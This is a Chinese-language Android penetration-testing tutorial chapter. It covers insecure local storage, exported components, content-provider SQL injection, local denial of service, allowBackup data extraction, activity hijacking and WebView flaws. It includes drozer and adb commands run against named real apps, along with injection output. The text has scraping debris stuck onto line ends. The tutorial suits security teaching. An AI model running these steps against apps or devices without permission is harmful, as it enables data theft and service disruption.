3. 移動安全滲透測試-(Android基礎漏洞)

3.1 數據存儲漏洞

 

用戶常常會把敏感數據交給app,好比:
用戶名and密碼
認證令牌
聯繫人記錄
通訊記錄
歷史使用記錄
.....html

只要願意,app能夠收集這些用戶的隱私和我的信息明文存儲或明文傳輸,一般保存在本地,也不排除上傳到網絡
• 本地保存
• 網絡保存java

本地保存

• SharedPreferences
data/data/程序包名/shared_prefs/*.xml
建立配置文件時沒有使用MODE_PRIVATE模式,致使其餘程序能夠讀取配置文件,root用戶可讀android

 

• SQLiteDatabases


data/data/程序包名/database/*.db
建立數據庫時沒有使用MODE_PRIVATE模式git


• InternalStorage


data/data/程序包名/files/*
沒有使用MODE_PRIVATE模式github


• ExternalStorage


/mnt/sdcard/*web


擴展閱讀
http://www.droidsec.cn/android-database配置模式安全風險淺析/
http://www.droidsec.cn/android本地數據存儲:internal-storage安全風險淺析/sql

3.2 組件暴露漏洞

一、android:exported


四大組件中都有的一個屬性:android:exported
export爲true,表示能夠被外部調用;export若是爲false,表示不能夠被外部調用
<activity
android:name=".PartActivity"
android:theme="@android:style/Theme.Dialog"
android:export="true">
</activity>
數據庫

在定義四大組件時,常常是不寫export這個標籤的,系統默認的export是什麼?
若是四大組件包含intent-filter,那麼Android系統認爲這個組件能夠被外部經過隱式調用,因此默認export爲true
若是四大組件不包含intent-filter,那麼Android系統認爲這個組件值只能夠被內部經過顯式調用,因此默認export爲false安全


二、簡單測試


adb forward tcp:31415 tcp:31415
drozer console connect網絡

肯定攻擊面
run app.package.attacksurface 包名
獲取activity信息
run app.activity.info –a包名
啓動activity
run app.activity.start --component包名 包名.XXActivity

繞過認證
activity暴露後被第三方調用,可能在沒有密碼的狀況下登陸/重置密碼

越權行爲
低權限程序經過調用高權限程序暴露的組件,執行高權限動做


三、組件的權限控制


爲了增長四大組件的安全,能夠定義訪問某個組件須要某個權限
<activity
android:name=".PartActivity"
android:theme="@android:style/Theme.Dialog" >
android:permission="com.example.test.permission"
</activity>

 

<permission android:name="com.example.test.permission"
android:protectionLevel="dangerous"
android:label="test"
android:description="test_permission" />

若是須要使用必須在AndroidManifest.xml,經過申請權限
調用組件者聲明:<uses-permission android:name="com.example.test.permission" />
android:protectionLevel,若是是Signature,那麼只有和這個應用使用相同私鑰簽名的應用才能夠申請這個權限。

 


擴展閱讀
https://bugs.secquan.org/bugs/WooYun-2014-48501
http://www.droidsec.cn/content-provider文件目錄遍歷漏洞淺析/

3.3 APP中的SQL注入漏洞

鏈接上模擬器/真機

nox_adb.exe connect 127.0.0.1:62001

端口轉發,轉發到Drozer使用的端口31415
adb forward tcp:31415 tcp:31415


開啓Drozer console
drozer console connect


獲取Content Provider信息
run app.provider.info -a com.qijia.o2o

定位到small代碼com.qijia.o2o.provider.CityProvider
content://com.qijia.o2o


檢測sql注入
run scanner.provider.injection -a com.qijia.o2o
Not Vulnerable:
content://com.tencent.mm.sdk.plugin.provider/sharedpref/
content://com.sina.weibo.sdkProvider/query/package
content://com.tencent.mm.sdk.comm.provider/jumpToBizProfile
content://downloads.com.qijia.o2o
content://telephony/carriers/preferapn/
content://com.tencent.mm.sdk.comm.provider/openRankList
content://com.tencent.mm.sdk.comm.provider/joinChatroom/
content://com.tencent.mm.sdk.comm.provider/createChatroom/
content://downloads./
content://com.tencent.mm.sdk.comm.provider/addCardToWX/
content://com.qijia.o2o/full/
content://com.qijia.o2o/children
content://com.qijia.o2o/children/
content://com.qijia.o2o/
content://com.sina.weibo.sdkProvider/query/package/
content://telephony/carriers/preferapn
content://com.tencent.mm.sdk.comm.provider/openBusiLuckyMoney
content://downloads.com.qijia.o2o/
content://com.tencent.mm.sdk.comm.provider/jumpToBizTempSession/
content://com.tencent.mm.sdk.comm.provider/jumpToBizProfile/
content://orm
content://com.qijia.o2o/full
content://com.tencent.mm.sdk.comm.provider/addCardToWX
content://com.tencent.mm.sdk.comm.provider/joinChatroom
content://orm/
content://com.tencent.mm.sdk.comm.provider/jumpToBizTempSession
content://com.tencent.mm.sdk.plugin.provider/sharedpref
content://com.tencent.mm.sdk.comm.provider/createChatroom
content://com.tencent.mm.sdk.comm.provider/openWebview/
content://com.qijia.o2o
content://com.tencent.mm.sdk.comm.provider/openRankList/
content://com.tencent.mm.sdk.comm.provider/openWebview
content://downloads.
content://com.tencent.mm.sdk.comm.provider/openBusiLuckyMoney/

Injection in Projection:
content://com.qijia.o2o/provinces
content://com.qijia.o2o/provinces/

Injection in Selection:
content://com.qijia.o2o/provinces
content://com.qijia.o2o/provinces/


使sql語句報錯
run app.provider.query content://com.qijia.o2o/provinces --projection "'"
unrecognized token: "' FROM areas WHERE parent = ''" (code 1): , while compilin
g: SELECT ' FROM areas WHERE parent = ''

開啓一個web服務,能夠和手機上的content provider鏈接,還能夠和sqlmap聯合使用
run auxiliary.webcontentresolver


http://localhost:8080/query?uri=content://com.qijia.o2o/provinces&projection='
SELECT ' FROM areas WHERE parent =

http://localhost:8080/query?uri=content://com.qijia.o2o/provinces&projection=*#
SELECT ‘ FROM areas WHERE parent =

SELECT * FROM areas WHERE parent =

 

3.4 本地拒絕服務攻擊漏洞

Android應用本地拒絕服務漏洞源於程序沒有對Intent.getXXXExtra()獲取的異常或者畸形數據處理時沒有進行異常捕獲

攻擊者經過intent發送空數據、異常或畸形數據給受害者應用,致使其崩潰


本地拒絕服務漏洞不只能夠致使安全防禦等應用的防禦功能被繞過或失效(如殺毒應用、安全衛士、防盜鎖屏等)

並且也可被競爭方應用利用來攻擊,使得本身的應用崩潰,形成不一樣程度的經濟利益損失

測試
肯定攻擊面
dz> run app.package.attacksurface 包名
獲取activity信息
dz> run app.activity.info -a com.nineteenlou.nineteenlou
啓動activity
dz> run app.activity.start --component com.nineteenlou.nineteenlou com.tencent.tauth.TAuthView
獲取廣播組件信息
run app.broadcast.info -a 包名
向廣播組件發送空action
dz> run app.broadcast.send --component包名 廣播組件名


詳細分析和修復
Android客戶端信息泄露以及拒絕服務漏洞
https://bugs.secquan.org/bugs/WooYun-2015-119959

https://www.secpulse.com/archives/3859.html

3.5 allowbackup備份風險

AndroidManifest.xml 配置文件中顯式配置了android:allowBackup=true
備份
adb backup -f E:\back.ab -noapk 包名
能夠輸入密碼也能夠不輸入

使用android-backup-extractor(abe)工具來解析ab文件
https://github.com/nelenkov/android-backup-extractor/releases

java -jar abe.jar unpack back.ab applock.tar

SmartLockConfig.xml

實際案例:
某密碼鎖未root備份:https://blog.csdn.net/qq_31387043/article/details/51452782
微博app備份:https://blog.csdn.net/chuyouyinghe/article/details/53609806

3.6 activity 劫持

用戶打開安卓手機上的某一應用,進入到登錄頁面
這時,惡意軟件偵測到用戶的這一動做,當即彈出一個與該應用界面相同的Activity,覆蓋掉了合法的Activity
用戶幾乎沒法察覺,該用戶接下來輸入用戶名和密碼的操做實際上是在惡意軟件的Activity上進行的

 

Activity劫持實例與防禦手段
http://blog.chinaunix.net/uid-29170659-id-4930737.html

3.7 webview明文存儲,代碼執行,同源策略等其餘漏洞

WebView

如今不少App裏都內置了Web網頁(Hyprid App),好比說不少電商平臺,淘寶、京東、聚划算等等


功能是由 Android的WebView 實現的
WebView 使用過程當中存在許多漏洞,容易形成用戶數據泄露等等危險

 

webview-file域同源策略


http://www.droidsec.cn/webview-file域同源策略繞過漏洞淺析/

 

WebView 明文存儲


案例:https://bugs.secquan.org/bugs/WooYun-2013-20246
WebView默認開啓密碼保存功能 :

myWebView.setSavePassword(true)

 

WebView代碼執行


https://www.52pojie.cn/thread-322022-1-1.html
https://blog.csdn.net/u012195899/article/details/68942725

 

WormHole蟲洞漏洞


https://blog.csdn.net/jltxgcy/article/details/50686858

應用克隆漏洞分析 https://blog.csdn.net/xwh_1230/article/details/79045251

相關文章
相關標籤/搜索